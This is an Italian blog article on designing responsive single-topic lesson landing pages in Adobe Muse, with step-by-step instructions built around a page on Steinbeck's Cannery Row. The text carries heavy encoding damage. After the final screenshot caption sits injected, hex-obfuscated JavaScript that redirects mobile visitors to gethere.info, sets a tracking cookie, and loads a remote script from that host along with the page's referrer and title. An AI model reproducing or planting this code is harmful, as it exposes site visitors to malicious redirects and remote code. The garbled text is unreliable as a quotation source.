CI SIAMO TRASFERITI!
Cari amici di classi 20, da fine gennaio 2018, ci trasferiamo sul sito abc.it.
Niente panico! Il sito di classi 20 rimarrà attivo per mantenere gli articoli pubblicati fino ad ora.
Siete curiosi di scoprire il nuovo portale dedicato alla didattica digitale?
Seguiteci su abc.it progetto EduCare (powered by REKORDATA) a breve pubblicheremo i nuovi aggiornamenti dedicati al mondo education.
Stay Tuned!

Insegnare con bellezza. Una nuova concezione per pagine e siti WEB

Alberto Pian

I siti WEB sono generalmente considerati delle vetrine (soprattutto da un punto di vista commerciale), dei blog o delle raccolte di risorse. In campo didattico spesso rappresentano le istituzioni scolastiche e le pagine degli insegnanti, oppure le raccolte di risorse e le proposte di editori. Proviamo invece a immaginare le cose un po’ diversamente, applicando le linee di tendenza attuali.


Adobe Muse, in Adobe Creative Cloud

Esempi

Schermata 2016-07-30 alle 09.25.53Ai??Schermata 2016-07-30 alle 09.17.01

Alcuni principi di progettazione

Nel linguaggio del webAi??marketing A? diventato di uso corrente il termine diAi??landing page.Ai??Landing significa atterraggio. Chi “atterra” su una pagina?Ai??Ai??Atterra l’utente che A? stato appositamente trasportato su quella pagina. Quindi la “landing page” A? la pagina di riferimento a cui il soggetto giunge in modo intenzionale dopo aver eseguito delle azioni predisposte per essere condotto proprioAi??a quella pagina. A? una paginaAi??pagina di arrivo particolarmente significativa. Le azioni possono essere state determinate da un invito a iscriversi a un evento, dalla ricezione di una newsletter, da un tag o un collegamento in un social net. La pagina di riferimento A?, precisamente, quella che il proprietarioAi??del sito vuole che venga visitata dagli utenti in un dato momento. Se lasciamo da parteAi??gli aspetti di marketing, vediamo che anche nel campo formativoAi??possiamo applicare il principio di avere una pagina di riferimento a cui vogliamo che l’utente acceda. Ovviamente una landing page puA? essere benissimo anche la home page di un sito web complesso, composto da molte pagine. Tendenzialmente perA?, questa pagina contiene informazioni specifiche e dettagliate che sono utili all’utente e che vogliamo che reperisca subito, senza doverle cercare passando dalla home page del sito. Quindi, in realtAi??, la landing page puA? essere anche una pagina interna di un sito web la quale, in base a determinate circostanze e considerazioni, viene posta direttamente all’attenzione dell’utente o di un target definito di utenti.

Se le cose sono nei termini in cui ve li ho presentati, allora A? ovvio che la landing page deve essere accessibile e responsive. Che cosa vuol dire? Accessibile vuol dire che deve poter essere vista dal maggior numero di utenti, anche se sono afflitti daAi??problemiAi??che impediscono loro di vedere bene, di navigare, di decifrare i contenuti. E responsive vuol dire che deve “rispondere” al dispositivo utilizzato per vederla. Questa pagina, cioA?,Ai??deve poter leggere bene da un computer con monitor da 28″ e da uno smartphone, passando per un tablet. In altri termini, vuol dire che deve poter essere fruita in qualsiasi condizione da ogni tipo di dispositivo. Seguendo questi principi la pagina sarAi?? caratterizzata da una certa bellezza (completata da un curato aspetto grafico) e da un certa eleganza.

Bene, in che modo questi due recenti concetti del WEB design e del WEB marketing sono utili per la formazione?

In realtAi?? la loro utilitAi?? dipende dal fatto che oggi disponiamo di strumenti eccezionalmente potenti e molto semplici da impiegare, per applicare i principi di progettazione WEB. Senza questi strumenti i principi della progettazione resterebbero dei concetti interessanti, ma privi di utilitAi?? pratica. Uno di questi strumenti A? Adobe Muse, un’applicazione che consenteAi??di progettare landing page e siti sulla base di questi principi. Avendo questi strumenti possiamo chiederci in che modo siano utili per insegnare e apprendere.

Una nuova impostazione concettuale

Il concetto di una landing page di riferimento, responsive e accessibile, ci consente di aprire una prospettiva diversa rispetto a quella tradizionale che vede nel sito web il cuore della raccolta e distribuzione di risorse, informazioni e contenuti. Nell’impostazione tradizionale un docente prepara innanzitutto un sito composto da diverse sezioni e da numerose pagine. Egli quindi distribuisce i contenuti in queste sezioni e pagine secondo una logica di raccolta, reperimento e diffusione. A mio modo di vedere questa impostazione tradizionale A? superata per almeno tre motivi.

Il primo A? che richiede una progettazione preliminare globale cui difficilmente il docente si dedicherAi??, se non A? un esperto in questo genere di cose. La progettazione A? infatti necessaria perchAi?? il sito deve rimanere stabile nella sua struttura per lungo tempo, per evitare continue operazioni di adeguamento. In secondo luogo perchAi?? un sito di riferimento che riporta numerosi contenuti, tende a complicare la ricerca dei contenuti stessi da parte degli utenti. Infine perchAi?? la costruzione di un sito implica l’applicazione di una logica che affronta i contenuti nella loro globalitAi??, invece che nella loro unitAi??, poichAi?? A? naturale pensare che in un sito tutto deve essere collegato.

Questa logica non A? didattica, nel senso che non favorisce l’apprendimento perchAi??, da un punto di vista cognitivo, A? piA? facile apprendere sapendo che un dato contenuto A? racchiuso in una unitAi?? indipendente e autonoma, piuttosto che inserito in un contesto globale che A? difficile da decifrare. Infine dobbiamo aggiungere che, normalmente, un sito A? organizzato attraverso una navigazioneAi??orizzontale. CiA? vuol dire che passa da una pagina all’altra in una successione di clic disperdendo le informazioni in piA? ambiti.

Proviamo quindi a impostare le cose in modo differente. Immaginiamo di strutturare tutti i contenuti intorno al concetto di landing page. Questo vuol dire che:

  • non esiste un sito di riferimento;
  • i contenuti sono organizzati su singoleAi??pagine;
  • ogni singola pagina contieneAi??tutti i contenuti relativi allo stesso macrotema;
  • ogni pagina si sviluppa in modo verticale;
  • ciascuna pagina non contiene link interno ad altre pagine o informazioni, ma solo link esterni di riferimento alle fonti.

Ogni macro contenuto A? dunque racchiuso in landing page che apparirAi?? animata, dinamica, accessibile e responsive. la domanda che puA? sorgere A? la seguente: “Ma qualoraAi??volessimo radunare tutti i contenuti dovremo per forza ricreare un sito che contenga tutte le landing page?”. La risposta A? no. In realtAi?? basterAi?? inserire in un’altra landing page un semplice indice che rimanda a ciascuna singola pagina.

Questa concezione strutturale presenta diversi aspetti interessanti.

In primo luogo ci abitua a ragionare per contenuti chiusi, che hanno un inizio e una fine determinata e questo agevola molto l’apprendimento perchAi?? riprende le tradizionali impostazioni modulari, fondate su unitAi?? didattiche o su lesson plan. Inoltre, rendendo indipendentiAi??le landing page le une dalle altre, consente di modificarle, di sostituirle, di sopprimerle e spostarle, senza interferire con una struttura piA? complessa. Infine, queste pagine indipendenti sono piA? facilmente proponibili ai differenti utentiAi??di riferimento.

Creiamo la pagina e disponiamo i contenuti con alcuni effetti

Per prima cosa ci procuriamo un modello di Adobe Muse per non dover impostare una grafica da zero. Ecco alcuni riferimenti: Dribble;Ai??Musefree; Evato; Template Moster.

Sostituiamo i testi, i colori e le immagini in modo che l’aspettoAi??sia piA? o meno quello che ci serve. La pagina qui sotto rappresenta un modello di esempio relativo al romanzo Cannery Row di John Steinbeck.

Schermata 2016-07-27 alle 14.47.09

Questa pagina contiene alcuni elementi dinamici, che si muovono quando noi la scorriamo verso il basso. Come sono creati questi effetti? Nella parte destra del nostro piano di lavoro abbiamo dei menu fra i quali spicca Effetti di movimento. Selezioniamo un oggetto e attribuiamo degli effetti di movimento.

Osservate l’immagine sottostante. Vogliamo fare in modo che quando la pagina scorre verso il basso, questo oggetto si muova verso l’alto e verso sinistra fino a scomparire. Quando selezioniamo l’oggetto e attiviamo il menu Effetti di scorrimento, l’oggetto mostra una maniglia verde. Questa maniglia indica il punto della pagina in cui il movimento ha inizio. Questo significa che il movimento inizierAi??Ai??quando il bordo superiore della pagina che stiamo scorrendo, toccherAi??Ai??questa maniglia verde.

Nella finestra degli Effetti di scorrimento vengono indicati la velocitAi?? e la direzione del movimento iniziale e del movimento finale. Il movimento iniziale di questa immagine sarAi?? verso l’alto (osservate la frecciaAi??attiva)Ai??e a velocitAi?? 1, cioA? A? pari al movimento che stiamo facendo con il cursore per scorrere la pagina. IlAi??movimento finale sarAi?? sempre verso l’alto, ma anche verso sinistra e sempre a velocitAi?? 1. Agendo su questi semplici parametri, possiamo creare straordinari effetti dinamici perAi??qualsiasi oggetto.

Schermata 2016-07-27 alle 15.09.14

Osservate ora la figurae qui sotto che regolaAi??un’altra immagine. Vedete che questo oggetto, che rappresenta l’ingresso di una abitazione, ha un effetto diverso: salirAi?? verso l’altro, ma si sposterAi?? verso destra.

Abbiamo quindi collocato tre oggetti composti da tre fotografie, cheAi??si sposteranno in tre direzioni diverse alla medesima velocitAi??, quando l’utente scorrerAi?? la pagina verso il basso.

Schermata 2016-07-27 alle 15.22.58

 

Abbiamo creato una pagina con alcuniAi??oggetti dinamici di introduzione e un breve testo per ciascuno. Questo serve per mostrareAi??brevi informazioni al primoAi??colpo d’occhio e per invitare l’utenteAi??alla visione degli altri contenuti.

Ora aggiungiamo un titolo, un testo piA? ampio e una piccola galleria di immagini. Il modello ci presenta giAi?? queste opzioni ma, dal canto nostro, dobbiamo sempre che nell’area dei menu posta sulla destra abbiamo la Libreia widget che alla sezione Presentazioni, mostra alcuni contenitori per inserire degli slideshow. A? molto semplice, il box appare sulla pagina e al suo interno trasciniamo le immagini dalla scrivania. A fianco del contenitore appare una piccola freccia azzurra che ci mostra la finestra di regolazione dei parametri per la visualizzazione delle immagini che si chiama Opzioni di visualizzazione.

Schermata 2016-07-27 alle 15.33.21

In questa pagina di esempio dedicata al romanzo di Steinbeck abbiamo inserito tre titoli con tre testi e tre slideshow.

Un pannello a schede per il testo della lezione

Abbiamo presentato alcune informazioni importanti nella stessaAi??pagina, all’inizio, insieme a delleAi??fotografie e abbiamo trattato di alcuni argomenti in modo molto breve ma efficace con dei titoli, un testo sotto il titolo e uno slideshow sotto il testo. La figura qui sotto mostra questo primo risultato.

Notate che il titolo Il vicolo, sta “entrando” da sinistra verso destra,Ai??mentre stiamo scorrendo la pagina verso il basso.Ai??Anche questo A? un Effetto di movimento, come quello che ho spiegato prima.

Schermata 2016-07-27 alle 15.40.18

Ora perA?, abbiamo del testo ben piA? consistente da aggiungere. Si tratta di una vera e propria lezione su questo romanzo e quindi conviene presentare il testo per quello che A?. Possiamo evitare di copiarlo e incollarlo tutto sulla pagina? Esiste un modo migliore per presentarlo, mantenendolo comunque su questa unica landingAi??page? Si, in effetti possiamo impiegare sempre la Libreria widget, per inserire un Pannello a schede. Questo sarAi?? un pannello che presenta tre schede interattive. Ogni scheda A? identificata da un titolo e contiene il testo specifico e, se desideriamo, anche una o piA? immagini.

La figura qui sotto mostra il pannello che abbiamo creato. Come vedete presenta tre schede con i loro titoli. Il widget presenta giAi?? un modello composto da una immagine e da un testo. Abbiamo sostituito entrambi e li abbiamo disposti diversamente. Il testo scorre attorno all’immagine grazie alla proprietAi??Ai??Contorna con testo, che si applica selezionando l’immagine e scegliendo questa opzione nella pulsantiera che A? posta nella parte superiore della finestra di Muse.

Schermata 2016-07-27 alle 15.47.48


Schermata 2016-07-27 alle 15.51.56

 

Assegnamo le proprietAi?? di adattamento ai diversi dispositivi (responsive)

Adesso vogliamo che i contenuti della paginaAi??si adatti magicamente, con tutto il suo contenuto, alle dimensioni dei diversi dispositivi.

Vogliamo che la pagina sia “responsive”.

Questa operazione non A? difficile, ma occorre memorizzare una certa nomenclatura e seguire un workflow nei sui step. Muse distingue le pagine in due tipi: a larghezza fissa e a larghezza fluida. E poiAi??introduce il concetto di Punti di interruzione, per stabilire diverseAi??ampiezze di visualizzazione della stessa pagina (in pratica A? come ci fossero diversi lay-out per la stessa pagina). Ricordiamo questi tre concetti: pagina a larghezza fissa, pagina a larghezza fluida e punti di interruzione sulla stessa pagina.

Il criterio responsive non appartiene a una sola tipologia di pagina. La pagina a larghezza “fissa”, per esempio, non A? responsive in quantoAi??paginaAi??(cioA? non si adatta agli schermi dei dispositivi dai quali viene vista), ma i suoi oggetti lo potrebbero fare. Quindi A?Ai??molto importante capire che tanto le pagine a larghezza fissa che quelle fluideAi??possono rispondere a determinati criteriAi??criteri responsive.

Ricapitoliamo e precisiamo:

  • Le pagine a larghezza fissa NON si adattano dinamicamente ai diversi dispositivi, perA? possono contenereAi??oggetti che si adattano (testi e grafica).
  • Le pagine a larghezza fluida, invece si adattano dinamicamente ai diversi dispositivi, ma bisogna precisare le caratteristiche di ciascun oggetto affinchAi?? questo adattamento sia corretto.

Nell’immagine qui sotto viene mostra i menu Fissa e Ridimensiona che si presentano nella stessa finestra quando si A? selezionato un oggetto.

Schermata 2016-07-30 alle 15.16.00

Inoltre le pagine a larghezza fissa non si modificano in base allo strumento di visualizzazione perA?Ai??mantengono le animazioni di scorrimento che hanno incorporato.Ai??Quelle a larghezza fluida, invece, si adattano, ma perdono le loro animazioni di scorrimento. A? una cattiva notizia? Niente affatto.

Punti di interruzione.Ai??Una pagina con diversi layout

Infatti, l’altro concetto importante da apprendere A? che Muse permette di creare, nella stessa pagina fissa o fluida, layout differenti con impostazioni differenti. Per cui, per esempio, possiamo partire con una pagina ampia, fissa, di 1024, che mantiene tutte le sue belle animazioni di scorrimento, inserire dei punti di interruzione aAi??un’ampiezza di 640 e qui assegnare un layout fluido, privo diAi??effetti, in modo che si adatti aAi??un dispositivo dallo schermo piA? piccolo.

Questa magia A? facile da ottenere, ma occorre seguire questa semplice procedura.

  • Dopo aver concluso la creazione della paginaAi??su Vicolo Cannery o qualsiasi altro argomento, aprite il menu Pagina – ProprietAi?? di paginaAi??e scegliete Ai??Larghezza fluida. Le animazioni non sono perse e poi, in seguito, reimposteremo questa pagina come fissa.
  • Da Visualizza scegliamo Mostra punti di interruzione. I Punti di interruzione rappresentano i nuovi limiti di larghezza che si vogliono assegnare alla pagina. Ne possiamo stabilireAi??diversi e questi coesistono fra di loro. Notate che in alto A? apparsa una lineaAi??colorata piA? ampia e una piA? piccola, sovrapposta.
  • Trasciniamo da un lato la linea piA? corta per raggiungere una dimensione appropriata, per esempio di 560Ai??punti. Quindi con il tasto + creiamo la nuova ampiezza.
  • Trasciniamo di nuovo e creiamo una nuova delimitazione di pagina a circa 320Ai??punti.

Alla fine otteniamo questo risultato:

Schermata 2016-07-27 alle 14.47.30

Non c’A? da preoccuparsi! Come indicato nell’immagine stiamo lavorando sulla pagina piA? piccola e quindi tutta la rappresentazione grafica A? sballata.

Ora torniamo al punto di interruzione piA? ampio, facciamo un doppio clic e apriamo cosAi?? la finestra ProprietAi?? punto di interruzioneAi??per stabilire che questa pagina, che verrAi?? vista da dispositivi piA? grandi, puA? mantenere il suo aspettoAi??fisso con i suoi effetti di movimento.

Schermata 2016-07-27 alle 16.17.21

Per tutte le altre, invece, regoliamo le proprietAi??Ai??di pagina in modo che siano a Larghezza fluida.

Ora il gioco A? fatto!

Per ogni impostazione dei punti di interruzione la pagina sarAi??Ai??mostrata conAi??differente ampiezza in base ai dispositivi dai quali sarAi?? visualizzata.

Per ogni punto di interruzione ricollochiamo gli oggetti in modo che siano visibili, ne riduciamo la grandezza, li disponiamo in verticale quando la pagina sarAi?? molto stretta e otterremo di avere tante diverse disposizioni a ogni punto di interruzione di pagina.

Attenzione ai testi, formattazione specifica per ogni punto di interruzione

Dobbiamo solo essere un po’ accortiAi??per i testi. Se riduciamo l’ampiezza di un carattere di un testo, questa si ripercuoterAi?? in tutti i punti di interruzione. Prima di modificare la formattazioneAi??di un testo dovremo dire a Muse che i parametri che stiamo per cambiare, valgono solo per il punto di interruzione sul quale stiamo lavorando.

A? una operazione molto semplice da fare, non dimenticatela. Dalla barra degli strumenti posta sulla sinistra dello schermo, portate in primo piano, con un clic,Ai??l’icona di testo piA? ampia. In questo modo la formattazione sarAi?? associata a un dato punto di interruzione. Quindi procedete con la formattazione del testo.

Schermata 2016-07-27 alle 16.21.04

Pubblicazione

Quando tutto sarAi?? pronto potete pubblicare tutto nel cloudAi??di Adobe, attraverso l’opzione File – Pubblica su Business Catalyst… Oppure potete caricare il prodotto su uno spazio FTP o creare una cartella da dare al responsabile IT che la renderAi?? visibile in Internet.

Schermata 2016-07-27 alle 16.28.54

Certo, abbiamo qualche dettaglio che richiede un attimo di concentrazione ma, una volta creata la nostra prima landing page che riporta tutti i contenuti al suo interno, ne duplichiamoAi??una copia e la conserviamo come modello per altri lavori. A quel punto basterAi?? sostituire i contenuti e il gioco A? fatto.

Una landing page per ogni contenuto che possiamo modificare integrare e distribuire quando vogliamo senza le procedure complesse di strutturazione e di creazione di un sito!

Qualche trucco e suggerimento per le pagineAi??responsive

Nel a pagina fluida, disattivate le opzioni per fissare l’oggetto nel browser o nella pagina, altrimenti non si comporterAi?? in modo fluido.

Schermata 2016-07-30 alle 00.16.27

 

Collocate sempre i testi e gli oggetti all’interno delle guideAi??che delimitano l’area fluidaAi??visibile per ogni sezione di interruzione. In questo modo si comporteranno in modo fluido. Le guide sono rappresenta dalle linee azzurre.

Schermata 2016-07-30 alle 00.27.53

 

Create diverse interruzioni. A? molto semplice e richiede poco tempo adeguare gli oggetti al loro interno. Naturalmente create le interruzioni solo DOPO aver concluso tutto il lavoro di impostazione del layout e di inserimento dei contenuti. L’immagine qui sotto mostra cinque interruzioni per questa pagina (1334, 1024, 750, 640, 320). In questo modo si risponde meglio di diversi formati degli schermi dei dispositivi in circolazione.

Schermata 2016-07-30 alle 00.30.55

In una pagina fluida, assegnate ai testi la proprietAi?? di ridimensionamento attraverso Larghezza dinamica, altrimenti non saranno davvero fluidi! L’illustrazione qui sotto mostra come fare, alAi??box I PERSONAGGI A? assegnata la proprietAi?? di Larghezza dinamica

Schermata 2016-07-30 alle 15.28.12

Allo stesso modo, assegnate agli slidshow una posizione fissa centrale per evitare che vengano spostati in punti poco visibili. Selezionate l’oggetto e scegliete Fissa – Fissa nella pagina, la posizione centrale. Invece A? consigliabile non assegnare la stessa proprietAi?? ad altri oggetti grafici come oggetti raggruppati. La figura sottostante mostra in che modo procedere nel caso di uno slidshow:

Schermata 2016-07-30 alle 15.35.33var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ 